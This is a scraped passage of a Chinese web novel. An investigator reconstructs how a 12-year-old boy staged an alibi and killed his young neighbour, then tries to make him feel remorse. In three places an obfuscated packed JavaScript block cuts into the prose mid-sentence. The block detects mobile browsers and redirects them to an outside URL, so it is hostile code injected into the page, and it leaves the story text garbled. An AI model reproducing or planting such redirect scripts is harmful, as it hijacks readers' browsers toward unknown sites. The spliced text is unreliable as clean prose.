他引以为傲的儿子放下书本,从隔断的后屋中闻声走出。李英稍稍收敛,但也借着酒劲骂了几句,王燕红哭得声音更大了。 “儿子,你赶紧进屋学习”,王燕红哽咽道,“妈为了你,死了都无所谓。我俩的事都和你没关系,你只要好好学习,将来考上最好的大学就行……一定要比隔壁程小梅考得还好!” 说罢跑回了前屋,隔着薄薄的砖墙也能听清楚那压抑的啜泣,以及男人粗鲁的酒后谩骂。 与此相对的,是隔壁程家的欢声笑语。他家大女儿高考考出很好的成绩,小女儿则是全校倒数第一名,但是他们一视同仁地夸赞着,夸大女儿努力,夸小女儿有活力,他们吃着晚饭,欢笑着,畅想着未来。隐约之中能够听见,小女儿担忧问起哥哥家里是不是在吵架,她想过去探望他。 但毕竟这只是别人家的私事。很快,欢笑声再度响起,樱花树随着这笑声洒落了一地树叶,飞过矮墙,散落在狭小的院子中。 儿子默默捡起破裂的啤酒瓶。 一弯腰的时候,一张纸飘飘悠悠地落在地上。上面“开业大酬宾,酒水全场买一送一”几个大字格外醒目。 李英打了个酒嗝,赶紧捡宝似的捡起来。他显而易见地兴奋,因为酗酒而颤抖的手,试图将薄薄的纸捏紧。 “6月28?那不就是下周了?” “阳街啊……嗝,这两天搞一笔钱,老子到时候肯定去捧场,好儿子,哈哈哈……” …… “所以,你是因为那张传单,才知道酒吧开业的?” 梁胜死死捏着笔,继续按照凌逍的提示询问李英。 一年不见,李英变得更加邋遢颓废、不修篇幅。他跑到了隔壁的镇子,极少着家,此时刚从一户人家修完水管出来,捏着酒瓶子大白天开始街上游荡。 “我又不是苍蝇,怎么会隔大老远儿知道阳街的动静?当然是看了买一送一的传单才去的。” 李英愤愤不平:“你们警察总是乱抓好人!老子那天不就是在酒吧里动了两下手么,多正常啊,还把老子关进去好几天!这事我记一辈子!” “去年反复做笔录的时候,你怎么没说传单的事?” “你们也没问啊!” “你确定是你儿子给你的传单?” “哈哈哈,你们警方真是傻x!那只是我儿子随手拿的,是因为我眼尖才看到的!” …… 6月26日。案发前2天。 林新家。 高考成绩放榜后,一般会举办谢师宴。不过有的班级会有班长组织,额外私下多聚一次。高三(1)班的班长林新,刚刚考入华大文学系,正是春风得意的时候。虽然没有同班学委程小梅一样成绩轰动全县,但他很满意,家里也很满意,于是光明正大地捡起了抽烟喝酒的习惯。 但他现在有个问题——哪天组织聚会、安排哪里才好呢? 晚上妹妹放学回家,欢快地带回来造型极其独特的一只折纸青蛙。之所以独特,是因为这个青蛙很明显是用传单叠的,正背后不偏不倚,一个大大的【酒】字露在背后。 林新目不转睛地盯着那个大字:“这从哪来的东西?真搞笑,太有意思了。” 妹妹答:“是我同桌给我的。” “就是你经常和我夸的同桌?成绩好,爱干净,和我一样喜欢读爱伦坡,但是性格有点孤僻的那个男生?”林新问。 “是他。我也会和他提起哥哥——说你是个大酒鬼,高三戒了一年才考上的大学。” “对了,他家邻居是小樱,小樱的姐姐还是你班学委呢。咱们县真小。”妹妹答道。 “你以后也会和我一样,飞出这个小地方的。”林新感觉自己的形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870529|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象被破坏了,于是笑着互相伤害:“倒是你,初一的小家伙,情窦初开了?对同桌有好感?” “我马上就初二啦,是大人了,”妹妹一下子跳了起来,凶道:“可别乱说!” 又想了想,隐约失落地坐回去,一下下珍惜地戳着纸青蛙。 “刚开学的时候,我看到小樱跟在他身后叫哥哥,还一起回家,当时还以为是亲兄妹……结果不是呀。” “他俩是一对儿?” “哪能呢。不知道为什么,慢慢俩人就不一起回家了,平时也很少说话。” 妹妹平时是个很腼腆的女孩子,但关于同桌的事情,再微小的事情,她都想要尽量注意到。 “前段时间,班里来了个转学生,总喜欢自称大哥,我觉得很烦人。不过很多人其实挺喜欢他的,说他够意思还有趣。有那么一两次,我还看到他跟小樱走在一起……唉,不会吧?小樱明明喜欢的不是他呀?” “我知道,同桌偶尔会往小樱的座位上看,我说不出那是什么眼神……是喜欢吗?” 妹妹想起前段时间的事情。 他坐在教室一隅窗边,微风吹拂下宁静读着泛黄的书。在老师催眠的声音中,也许连自己都没注意——他会极偶尔地不自觉抬眸,望向远处另一个座位。 然后很久,又或许是片刻,就会收回目光,继续看书。 妹妹失落地摇头:“不,我觉得那不是喜欢。” 大概只有十几岁的少女,才会知道隐秘喜欢一个人的眼神。它绝不是令人偶尔会心惊胆战的墨色,也不是一瞬间会想要逃离的深渊。它应该是纯粹的,是平等的,是热烈的—— 就像自己,就像……小樱一样。 少女的心事可太长了。林新心不在焉地听着妹妹念叨,思绪早就飘到了待定的聚餐上。 他看着青蛙,喉咙不自觉地吞咽。等到妹妹从书包里又掏出一张传单、正奇怪是不是同桌放错的时候,林新赶紧抢过了传单。 他看着上面的字,兴奋地拨打了电话。 “喂?程小梅吗?” “我们的聚餐,定在6月28号怎么样?嗯……对,就是后天晚上……” …… 梁胜在记录纸上写了很多很多,本子上的笔迹越来越重,墨水飞溅出来,在纸张上慢慢氲出一团脏污。 林新大学暑假回家,妹妹也放学了,家里人紧紧攥着他们的手,忐忑地等待着询问。 梁胜依旧按照凌逍临走时留下的话,哑声问道:“所以,你把聚餐时间定在6月28号,是因为那天酒吧开业吗?” 林新挠头:“应该是吧。熟悉我的人应该都知道,这玩意儿我真的戒不掉。新开业的,一定要和朋友们去看看。” “小妹妹,你对你同桌提到过聚餐的事情吗?” 她答:“嗯,拿回纸青蛙的第二天,我就问他是不是把传单错放在我书包了。我还告诉他,哥哥这个大酒鬼看到传单,就决定拉同学们去聚餐了。” “小妹妹,或许你还记得去年6月28号,原本的值日生是谁吗?” “具体是谁呢……老师那里应该有记录本。但我可以确定,原本不是他,是另一个同学。关于他的事情,我不会记错的。” 敏感的少女顿了顿,小心翼翼地问梁胜。 一瞬间,她的情绪忽然变得很失落。 “警察姐姐,也许那个纸青蛙……并不是为了给我,是吗?” …… …… 他是谁? 他是学生。他是儿子。他是邻居,是同桌,也是别人口中一个随意谈论的名字。 他最寻常不过的普通人。 他与许多人擦身而过,成为无数人日常生活的一帧。或许有交集,或许只是一个终将被遗忘的片段。但人与人命运的交缠,正是在寻常的每一天、每一分、每一秒中,时刻发生着。 有美妙的。 同时,就也有罪恶的。 隔壁刚刚开始亮起灯火,鸡鸣声,狗吠声在石头路上响起。隐约蒙蒙亮的天边,阴沉沉的。 普通的,却又罪恶的新一天,开始了。 …… 【6月28日,清晨6点。】 【也就是案发当天。】 未长成的小树婆娑作响,一阵风吹过,凌逍坐在小院里,目光虚虚放空,就像是亲眼看到了所有一样。在系统长久的沉默中,她按照时间线,对系统缓缓复述着那一天,以及更早之前的事情。 万事皆有因果。 当已经确认的证据逐渐铺开,那些不曾关注的细节慢慢展现在眼前时,一点点、一步步,就像是密不透风的网,缓缓张开着。 但紧紧缠绕住的不仅仅是真相。 还有人,时间凝固在那一天的每个人。 【没错,在筹备完自认为“完美”的犯罪计划后。】 凌逍道。 【李耀成,照常出了门。】 18.少年犯(十八) 6月28日。一大早天就阴沉沉的,蝉鸣尤其聒噪,闷热的空气中有一种窒息感。 初一(三)班。傍晚5点50分。 每天最后一节课,通常都是自习。但说是自习,学生们大多都是偷偷看闲书、传纸条聊天,时不时发出嬉笑声。一天辛苦的听课学习后,享受着一点忙里偷闲的时光。 杨方坐在教室中央的位置,前后左右都是他的小弟——当然,大部分都是用零花钱堆砌出来的“小弟”。他聊天的声音不小,惹得纪律委员警告了几次,却依旧我行我素。 杨方得意地对小弟说:“一会儿放学咱们就冲出去!早半个月前就定好了,那家饭馆是全县最贵的,今晚我请客!” 小弟们表面欢呼,至于心底怎么想的就不得而知了。几个人闹哄哄的,纪律委员制止也无用。直到6点放学铃声即将响起,就见后排的小弟戳了戳他的背,递过来一张小纸条。 小弟说:“不知道谁扔过来的,上面写着给你。” 杨方一愣,打开纸条,只见上面歪歪扭扭的字。“晚上7点半,阳街酒吧大门口见,为你庆祝生日,顺便聊一聊我们的关系。这件事不要让任何人知道呀。” 落款是程小樱。 奇怪,马上放学了,为什么不当面说呢? 杨方疑惑,但又喜出望外,扭头看向隔了几排程小樱的座位。只见她双颊泛红,也早早收拾好了书包,正托腮望着窗,红色发夹亮晶晶的。杨方又立刻觉得很合理——地下恋情嘛,他懂。 两个人上个月就分手了。准确的说,是在极为短暂的交往之后,杨方被甩了。理由很简单,她说她真正喜欢的另有他人。 杨方非常想去赴约,但同时又有作为大哥的自尊心,至少不能告诉对小弟们这件事。他再次悄悄往程小樱的座位偷看,却不小心扫到了她两排后的李耀成——自己血缘上的表弟。 晦气。 不知为什么,就是这一眼,让杨方忽然想到很小的时候。那时自家和阿姨家还没有因为钱闹翻,他喜欢去找这个从小就安静孤僻的表弟玩,求他叫自己哥哥。 但是李耀成一次都没过这样叫过自己,宁愿独自去观察蚂蚁。于是杨方生气了,冲动之下,推倒了小表弟。 对方没有受伤,只有裤脚上略沾染了泥土。正常的孩子会愤怒,会哭泣状告家长,可是他一声不吭,唯独那双黑得过分的瞳孔死死地盯着自己。心惊胆战中,杨方赶紧躲起来。 过了一会儿,却见阿姨扯着小表弟哭天喊地,哭骂“你受伤了妈可怎么办。”只是转眼功夫,李耀成的裤腿上就尽是鲜血,汩汩地顺着小腿流到脚面上。阿姨哭着给他包扎,妈妈则是把自己揪出来狠狠地骂。杨方在一片混乱中,整个人已经傻了,完全不知道发生了什么,迷迷糊糊地道了歉。 可是,也许是一瞬间的错觉……他似乎看到这个安静的小表弟,垂眸,极浅地笑了一下。 过去的回忆与现在重叠。杨方想起刚转来这个班级的时候,第一眼就看到特别可爱的女孩子,每天追在李耀成身后喊“哥哥”。而现在,那个女生或许终于认清心意,想要主动和自己继续交往。 只是这样一想,杨方就有种胜利的感觉,得意极了。 6点钟放学铃声响起。 杨方见程小樱高高兴兴地跑出教室,于是也赶紧撕碎纸条,兴奋地拽过小弟们。 “快点,咱们走。去阳街!” …… 记录本上的关键词,逐渐连接在一起。就像是巨大的拼图,一点点展现出原本的样貌。可是那拼图的画风愈发诡异,渐渐呈现出深渊般的浓墨色,或者说……不知那是墨,还是已经干涸的血。 系统抖了抖,小声问:【然后呢?】 凌逍答道:【根据班级日志,当天值日生其实是另外一个人。梁胜那边也核实过了,案发当天,李耀成曾主动和同学更换值日生表。这是日常小事,与案件无关,所以警方从来没问过,更没人主动提起。】 【6点30分,保卫处照旧巡查教学楼,催促值日生和其他逗留的学生立刻回家。保安称对初一(三)班那个礼貌的男孩子很有印象,而校门监控也显示,李耀成的确是回家方向。】 去年专案组调查报告上,对于李耀成的总结,只有短短几句话。 失踪者同班同学,邻居。幼时关系良好,初一后逐渐减少联系,与失踪者无任何纠纷。 案发当天值日生,6点30分出校门后直接回家,6点50分与王燕红一起吃晚饭。7点20分与失踪者父母交谈,随后回到房间看书,再未出门。 结论:李耀成不具有作案时间。 【……只有李耀成才具有充足的作案时间。】 凌逍说道。 【专案组推测的所谓6点05分至9点的时间段,从一开始,就是李耀成为他们设计好的。】 实际上,专案组根据一般办案经验推断,程小樱很可能在6点05分至7点30分左右就已经失踪了。但是鉴于酒吧监控这个证据,时间段被拉长到了9点,以便于扩大搜查范围。 虽然12岁仍不是法律意义上的成年人,但是他们已经具有一定的行为能力,有了善与恶、正确与不正确之分。换句话说,在七点半左右彻底天黑前,程小樱知道应该回家,尤其是在已经和姐姐约好的前提下——除非,有什么不可抗的外力阻止了她。 【李耀成,在时间线上巧妙地进行了伪装,创造了不在场证明。】 【案发当天,他大概以某种借口,直接或间接引诱程小樱决定先去某个地方、再回家。而自己则以值日为由,错开了放学高峰期,形成一个正好的时间差。】 【人会被惯性思维所迷惑。按照警方的思路,他们重点排查了程小樱随后几分钟内离开校门、或者方向一致的学生和家长。谁会重点关注一个6点半才独自回家的普通学生呢?】 【李耀成引诱程小樱去的地方,实际上不是阳街,而是阴山的另一头,那里有一处围挡年久失修,可以进山。】 复杂交错、宛如荒废迷宫的后巷里,岔路不断延伸,在荒芜的某一处交错口,一边通往阴山,一边则通往石头路附近方向。乍一看十分遥远、互不相通的两个位置,实际上,需要做的只是翻过一面矮墙,穿过几条荒废的巷子,走上十几分钟而已。 在系统逐渐颤抖中,凌逍继续有条不紊的分析道。 【李耀成利用值日时差,在警方心里留下第一印象后,就回到了家。7点20分,他出现在了这个院子里,创造出二次不在场证明——而证人,就是程家夫妇。】 【直到这时,他才开始了真正的犯罪行为。】 【7点20分。在最后一次出现在外人面前后,李耀成回到房间,立刻从后窗翻了出去。】 等等! 系统忽然恍然大悟,却同时又害怕得疯狂颤抖。 它回忆起凌逍那天的动作——怪不得她走遍了后巷的所有小路,尝试不同的路线,最后停在后巷李耀成房间的窗后。当时,系统还嘲笑凌逍,仅凭着一条没人经过的路线,一个发夹,就怀疑自己的儿子。 就是那个像监狱的通风窗啊。 那个小小的出口,实际代表着,一条不会有任何人想到的、看见的近路! 【房间通风窗的栏杆,是可以拆下来的。事实上每年冬天,王燕红都会把栏杆拆下来,换成北方平房常用的挡风窗。】 【李耀成翻出去之后,立刻顺着后巷跑到阴山,中途经过巷子里荒废但仍能用的电话亭。7点30分,他报警称酒吧里有人抽东西,甚至还改变了声线——而这,就是他的又一层精心布置。】 【他特意提前安排了李英这个喝酒后必会打架的酒鬼,以及聚餐完毕的高中毕业生。一方面,是为了抽调大量警力,拖住警方;另一方面,则是利用酒吧监控,设计好能够被警方亲眼看到的“犯罪地点”和“犯罪时间”。】 【最重要的一点——他已经做好了替罪羊的准备。甚至就在前天,他还试图通过心理操纵,在身旁同学的心里种下暗示。】 【在他的构想里,警方在没有任何证据的前提下,大概率以失踪结案。当然,如果有警察认为是凶杀案,那反而更好了。】 凌逍想起那天晚上,少年意味深长,甚至是自我深信不疑的话。 那轻柔的声音中,甚至充满了期待。 “证据,只要有朝一日找出来,就足够了……梁警官真是大功一件!” 他指的,其实是精心安排的替罪羊——杨方。 这也是他完美犯罪的,最后一层保障。 事实上,在专案组认为程小樱已经失踪、甚至是遇害的时间点,这一刻她还好好的,正在阴山脚下焦急等待着。 虽然凌逍不知道李耀成,到底对她用了什么借口。 【大约7点30分到7点40分左右。程小樱在阴山的另一头,见到了李耀成。】 【……第二天早上上班前,王燕红曾经掀开帘子,她看儿子睡得正香,自己就照旧去厨房简单准备早饭。潜意识中,我找到了一个奇怪的细节——菜板旁的水果刀,位置似乎变动过了。】 系统听得惊呆了。 电子音断断续续,甚至颤抖起来。就像是明明提前被告知了下一秒电影“高能预警”,做足了心理准备,可真的到了那一刻,仍被恐怖的一幕吓到了。 系统追问道:【……具体的过程呢?】 凌逍闭上了眼。 她并不愿意推测血腥残忍的过程,也不想对谁诉说那个女孩的恐惧与绝望。因此,她只是说道: 【我在阴山另一头的一处隐蔽山洞里,发现了鲁米诺试剂的反应。】 鲁米诺试剂,就是凌逍昨天早上带着出门的东西,是检测血液痕迹的工具。 【那天更详细的事情,总有一天,警方会从李耀成口中问得清清楚楚的——当然,是在看守所里。】 系统:【你还在找尸体吗?】 凌逍:【我已经知道具体在哪里了。但是……不是现在。一个月后,警方会找出来的。】 系统仍是不敢相信。 它实在难以想象,一个十三岁,不,那一年,年仅十二岁的人类男孩在心底酝酿完了残酷杀机,又制定了缜密的计划,还能够平静地日复一天、无事发生般地过着自己的生活。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874104|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他耍得所有人、尤其是警方团团转。 对他来说,亲手沾染鲜血与罪恶,难道只是一场没有惩罚的游戏吗? 此时天色越来越黯淡,有种暴雨降至的感觉,阴沉得可怕,时不时有低飞的乌鸦略过,站在院外的天线上盘旋。 【距离任务一:找人真正的人渣时限结束,还有5分钟。】 【请任务者尽快提交任务结果。任务一提交成功,则开启任务二。提交错误,则本世界自动宣告失败。】 对时间非常敏感的系统,此刻却反常地不催了,更多的时候,只是静静听着。 它问了最后一个问题,或许,是它一辈子都无法明白的问题。 那是人心。 【李耀成有什么动机吗?】 动机啊…… 凌逍沉默片刻,只是反问系统。 【你知道从小到大,程小樱管李耀成叫什么吗?】 系统愣道:【什么?】 【她叫他——“哥哥”。】 【如果你仔细看过《厄舍府的坍塌》,就会知道,罗德里克对于玛德琳小姐抱有什么样的感情了。】 【他们是相依为命的兄妹,可是这唯一的妹妹逐渐病重,即将离他而去。他不知道如何才能留住玛德琳小姐,同时,又无法逃脱禁锢他的厄舍府,只能抱着扭曲的占有欲……】 凌熙顿了顿,声音极低,极沉: 【将这位玛德琳小姐下葬,又或者说——活埋了。】 【他疯了。高墙崩塌,他内心的秩序也彻底崩塌,只剩下无穷无尽的疯狂,一同埋葬在了那片土地下。】 李耀成,他的感情或许也是如此。 是平静的,依恋的。 也是狂热的,扭曲的,罪恶的。 系统惊呆了。它似乎看到眼前可怖的城堡笼罩在灰暗之中,死寂的湖水映照着斑驳裂开的墙。 疯子。 它喃喃问道:【那又为什么偏偏是程小樱呢?】 凌逍不说话了。 她只是长叹了一口气,其中蕴藏的情绪是那样复杂,说不清是感慨,还是隐约的悲伤。 她并没有对系统解释太多。 万事有因有果,成就一个人的、毁灭一个人的,有太多太多的因素,或许是主动选择的,或许是无奈被选择的,那么复杂,绝不是语言能够简单形容的。 那是每一日生活中的点点滴滴,是一个人经历的所有。 逐渐被构建的,又被摧毁的。 【或许他认为——在这座名为家的监狱高墙里,唯独她,是只属于自己的存在吧。】 …… 【距离任务一:找人真正的人渣时限结束,还有3分钟。】 这一天,从早上开始就极为闷热,空气令人窒息,正如去年那天一样。一瞬间,狂风而至,夹杂着冷冽的雨丝,远处隐约有闪电划过。 凌逍缓缓从椅子上起身,慢慢走进了后屋。 她掀起帘子。 逼仄的房间里,昏黄的灯光隐隐摇曳。李耀成正在台灯下认真翻阅着书。半明半暗的光照在他的侧脸,落下一片安静的阴影。 凌逍说道:“下雨了。” 李耀成抬眼,波澜不惊。 他轻轻放下手中泛黄的书。 “……在眩晕中,我看到坚固的高墙崩裂为碎片,我听到惊天动地的巨响经久不息,犹如万丈狂涛喧腾咆哮。” 这一页上曾经被杨方踩过的痕迹,不知何时被认真处理过,已经干净得几乎看不出来了。 雷声轰鸣而至,惊起风雨,砸在不远处。 【距离任务一:找人真正的人渣时限结束,还有1分钟。】 【任务者已提交答案。】 李耀成凝视着凌逍,答道:“是啊,下雨了。” 最平常不过的一天,最平常的对话。 忽然一道闪电划过,紧接着又一道雷鸣落在了院子里,砸在脆弱的花木上,变成废墟般的狼藉。 【任务一提交成功。】 【任务二:收集李耀成100点悔意值,已自动开启。任务时限:一个月。】 【初始悔意值检测中……】 “不过妈妈,您怎么不去忙了呢?需要我帮忙吗?” 李耀成礼貌地询问道。 凌逍若有所思。 “我已经忙完一部分了。剩下的,很快也可以结束。” 凌逍望着这个安安静静的少年。 “说起来,一个月之后就是你的十四岁生日啊。我打算送你一件礼物。” 礼物吗? 啪—— 犹如白昼的瞬间,划过屋子里少年的双眸。 深渊般的纯黑色中,照映出一丝兴奋的光。就像是偶然看到闯入人类世界,浑然不知命运的蚂蚁。 “这样啊。” 【悔意值异常,二次检测……】 …… “或许到时候我也会有礼物给您呢。” 【检测悔意值为——0。】 李耀成慢慢地,天真地微笑。 …… “我很期待,妈妈。” 19.少年犯(十九) 【凌逍,我计算过了。对于收集100点悔意值这个任务,我们还有机会……唔,大概……!】 任务二开启第七天。 自从知道李耀成的悔意值竟然是0,系统就开始了每日长吁短叹模式。一方面是深深怀疑人性,小小年纪怎么能够做到对于手染鲜血毫不在意的;另一方面则是—— 怎么才能在不到一个月时间内,让一个人忽然洗心革面,尤其还是一个高智商、极度残忍的少年犯啊? 系统琢磨了半天,疯狂从库里面扒拉名词解释。 【感化,指用行动影响或善意劝导,使人的思想、行为逐渐向好的方面变化……教育,这里指改变人们思想意识的活动,使其发生预期变化……还有……】 凌逍配合鼓掌:【不错,现在监狱正在改革,这些功能都有。听说还有培训班呢!】 系统:喂,这祖宗脑子里怎么都是送人进局子? 【不然呢,你是让我劝一个杀人犯知错就改、善莫大焉吗?】 凌逍疑惑地问系统:【让他后悔杀害了别人吗?不,他们无法体会到被害者的恐惧,更不会对受害者家属的痛苦感同身受。如果后悔的话,他们并不是为别人,而是为“自己”后悔。】 【但是没关系。无论是哪种悔意,在监狱漫长的时光中……总有一日,他们终究会感受到生命不可承受的重量。】 系统想了想,小声问:【呃,人生来不就是在枷锁之中吗?甚至某种程度上,我觉得李耀成也只是个可怜的孩子。】 【也许吧。】 凌逍只是沉默一瞬间,复而摇头。 【但压抑的社会与原生家庭,都从来不是去伤害别人的理由。难道小樱不无辜吗?小梅不无辜吗?一个人犯罪的理由,只是因为他想犯罪,仅此而已。】 她不由轻声叹息。 但系统有一句话没说错。 人生来就在枷锁之中……李耀成如此,王燕红,也是如此。她被困在这个逼仄的城堡中,然后在不知不觉中,又变成了困住别人的城堡。 而李耀成,他在这种循环中,选择了毁灭。 可从来没有任何人,是生而属于别人的。 这不是爱。 此时正是午后,凌逍在小院里放了把崭新摇椅,一下一下晃着晒太阳。偶尔微微睁开双眼,盯着四四方方的狭小天空出神。 系统知道这是她陷入思考的状态,却不知道她在思考什么。按理说,那些记录的线索已经全部严丝合缝地拼合,任务一也已经结束。她现在要做的,不是每天无所事事呆在家里,而是赶紧想方设法让李耀成意识到自己所犯下的罪恶,真诚悔过。 但这一周来,凌逍只是照常生活,除了行事风格完全不同、没事去看望程小梅外,她就像是真正生活在这个家中的王燕红。 一阵凉风轻轻拂过,轻柔的树叶婆娑作响。凌逍的目光不经意地略过低矮的树梢,她喃喃自语: “案发第二天,王燕红究竟看到了怎样的一幕,又强制消除了什么记忆呢……” 凶手是李耀成,这具身体的儿子,这是毋庸置疑的。凌逍的目的,从始至终就是让他为自己的罪恶付出代价。但这需要一个契机。 凌逍正在安静蛰伏等待那个契机。 所以,她对梁胜最后的嘱咐,是一个月后警方会收到她家的电话。他们会知道一切的答案,也会发现程小樱的尸体,会将这起谋杀案真相大白。 至于尸体的位置——凌逍不由想起了那个山洞。 经历一年后仍旧清晰可见的鲁米诺反应,而且角落中有明显的挖掘痕迹。 应该就是在那个山洞里。 可是…… 事实真的只是这样吗? 王燕红所强行消除的一瞬间的记忆,又是否与整个案件、甚至是她猜测的任务机制有着重大关系呢? 凌逍慢慢闭上眼,风吹起发丝,她很久都没有说话。 也许她需要重新思考。 但没关系。一个月后,不,还有三周。 一切都会彻底结束的。 …… 包括她自己。 系统只在一旁自言自语,一会觉得应该借身份发挥母爱,用柔情感化李耀成,一会又觉得还是得从基础品德教育培养起。冷不丁的,它忽然高声在凌逍脑子里喊起来: 【我知道了!】 它兴奋地提议道:【就当是上了贼船,接下来几天,你就试试我的提议嘛!他还是个十三岁的孩子……好吧,从智商和心理年龄来说,虽然很难称之为孩子,但经过全方位搜索,我的提议肯定有效果!】 凌逍:【不要。】 系统:【求求了求求了嘛嘤嘤嘤!】 凌逍:…… …… 任务二开始第八天。 晚上,凌逍打开电视机,上面少儿频道正播着童话故事。 恶毒的大灰狼抓住了小白兔,它眼馋了很久,实在太想吃掉了。小白兔掉下了晶莹的泪水:“为什么要吃我呢?我还有孩子在等我回家,你难道不会想起你的妈妈吗?” 大灰狼深受触动,回忆起小时候一幕幕,大为后悔,放走了小白兔。故事简单却制作精良,圆满结局,十分感人,系统不由留下了机械的泪水。 凌逍按着系统提供的台词,面无表情指着屏幕念鸡汤:“大灰狼意识到自己的行为对另一个家庭是灭顶之灾,而且感同身受,所以它后悔了。只要认识到自己的错误,那就还来得及挽救,还可以重新开始。” 李耀成默默地在一旁扫地,听见只是漫不经心地问:“正常的食物链而已,为什么要因为吃掉比自己弱小的动物而感到后悔?” 他平静地,理所应当地补充:“只有吃下去,才是真正拥有,这对大家、对食物链来说都是好事。” 【悔意值检测为:0。】 系统:【……】 任务二开始第九天。 下午六点半,凌逍在系统的叨逼叨中摆上了丰盛的晚餐。 之前的这段时间内,凌逍从来不掩饰与王燕红的不同,要么是指使李耀成做家务,要么是让他帮忙跑腿,但凡桌子上有个鸡腿,都会先自己直接吃。 但与此同时,她从来不会与李耀成谈论学校、学习的事情,也不会随时掀帘子进到后屋,总是保持着一点距离。 今天李耀成放学回来,放下书包后正要帮忙摆筷子,就听见凌逍道:“放下,这点事不用你做,来吃饭吧。” 随后把鸡腿夹到了他的碗里。 一瞬间,李耀成唇角微微放松的弧度,不经意间就落了下去。 他蒙雾的黑眸静静打量着凌逍,沉默许久,才轻声问: “妈妈……不对,妈?” 莫名其妙的问题,但又似乎在问——你,现在是谁? 凌逍摆摆手,继续面无表情地念着系统给出的台词:“我把最好的给你,就是希望你成为一个正直善良的孩子。如果你辜负妈妈的期待,妈妈会死不瞑目的。” “不仅是妈妈,还有你身边的所有人,都会伤心的。” 李耀成夹着筷子,很久都没有动作。 慢慢地,他一粒一粒夹着米,垂眸安静回答:“好的。” 【悔意值检测为:0。】 系统:【……】 …… 任务二开始第十天。 【悔意值检测为:0。】 …… 【到底什么是人心呢?】 凌逍曾经说过,人心是一片黑暗与光明交替的土地,是被周围环境构造的,却又是独立的,隐藏着无数秘密与情感。可是,这太抽象了,冰冷的悔意值数字,什么也无法告诉它。 系统电子音里充满了茫然。它彷徨察觉到,这也许更像是无能为力的恐惧。如果当一个人对自己的罪恶毫不在意的时候,又有什么能够让他后悔呢? 而凌逍所说的——“总有一日,他们终究会感受到生命不可承受的重量”,到底,又是什么意思呢? …… 在闹剧般的几天“悔改行动”后,凌逍再度恢复摆烂状态。似乎在她口口声声的所谓“一个月后的契机”前,她什么也不打算做,更拒绝了梁胜来这里的请求。 她做的最多的,只是去隔壁去看程小梅,检查她的伤口,陪她吃好吃的饭菜,说一些有的没的却又很温馨的小事。 程小梅现在和凌逍很熟了,她小声对凌逍道:“阿姨,我爸妈现在在隔壁省找小樱,我这两天就打算回去了。” 凌逍:“伤还没好呢。” 程小梅有点着急——她的伤势已经好得差不多了,但阿姨似乎并不希望她在继续寻找下去。 “阿姨,您不是说过,您在寻找真相吗?梁警官有梁警官的方法,您有您的目的,而我,也有我自己的路。” “你自己的路?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890559|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌逍只是笑着摸了摸程小梅的头顶,“你是要和我告别吗?” 程小梅思索片刻,认真答,“这不是告别。在找到小樱之后,我会和她一起来见您的。我会告诉她,我的身边有一位很好很好的人,我不知道她的名字,可是她在我最绝望的时候救了我。” 凌逍不说话了。 很久,凌逍才逐渐正色,忽然莫名其妙地问了这样一个问题。 “小梅,如果有人做了伤害你的事,你会恨他吗?” 程小梅答:“我当然会恨。” “如果他为此感到深切后悔呢?” 程小梅摇头:“如果后悔就可以获得原谅的话,那么被伤害的人又何其无辜?法律与秩序之所以存在,就是为了让做错事的人付出代价,恶有恶报,这才是真正抚慰受害者的方式。我不会选择原谅,也许会痛恨他一辈子。” 凌逍:“一辈子很长。小梅,还记得之前我对你说过的话吗?” “愤怒、痛苦、后悔,都是生活的一部分,这绝不是可以轻飘飘割舍的因果。但我只是希望有朝一日,你的时间不再静止,而是一点一滴地向前行进。” “当生命的重量都停滞在过去的时间里,会彻底压垮一个人的。” 程小梅似懂非懂,却见凌逍凑近,自然而然地怀抱着她的肩膀,就像…… 曾经的自己,充满爱意地抱着小樱的时候。 “小梅,你的感情,你的人生,你最勇敢美好的爱,一直是属于自己的。” 凌逍说道。 “如果有一天,你想起我对你做过坏事,请不要原谅我。相反,我希望你原谅自己。” 程小梅心有不安,茫然问道:“阿姨,我……我分得清你是谁。你怎么可能会对我做坏事呢?” “唔,比如说,不告而别之类的坏事?” 凌逍哈哈一笑,并不解释。 “小梅,生离死别从不是再见,只是其中一个人,去了另外一个地方。你在向前走,同时另一个人,也有自己的新的路要走。 “但是你们之间的爱,并不会消散。” 她只是轻轻贴近程小梅的额头。 闭眼。 “程小梅,愿你有朝一日,听到铃铛于风中响起。” …… 任务二开启第十五天。时限已过一半。 凌逍送程小梅去车站后,慢慢往回走着。恰好碰到放学时分,二中学生们的欢笑声在石头路上回响。炊烟袅袅,少年的希望与快乐像自由的鸟,联通这片破败贫穷的土壤也生机勃勃。 久违的好天气下,连风都是暖的。 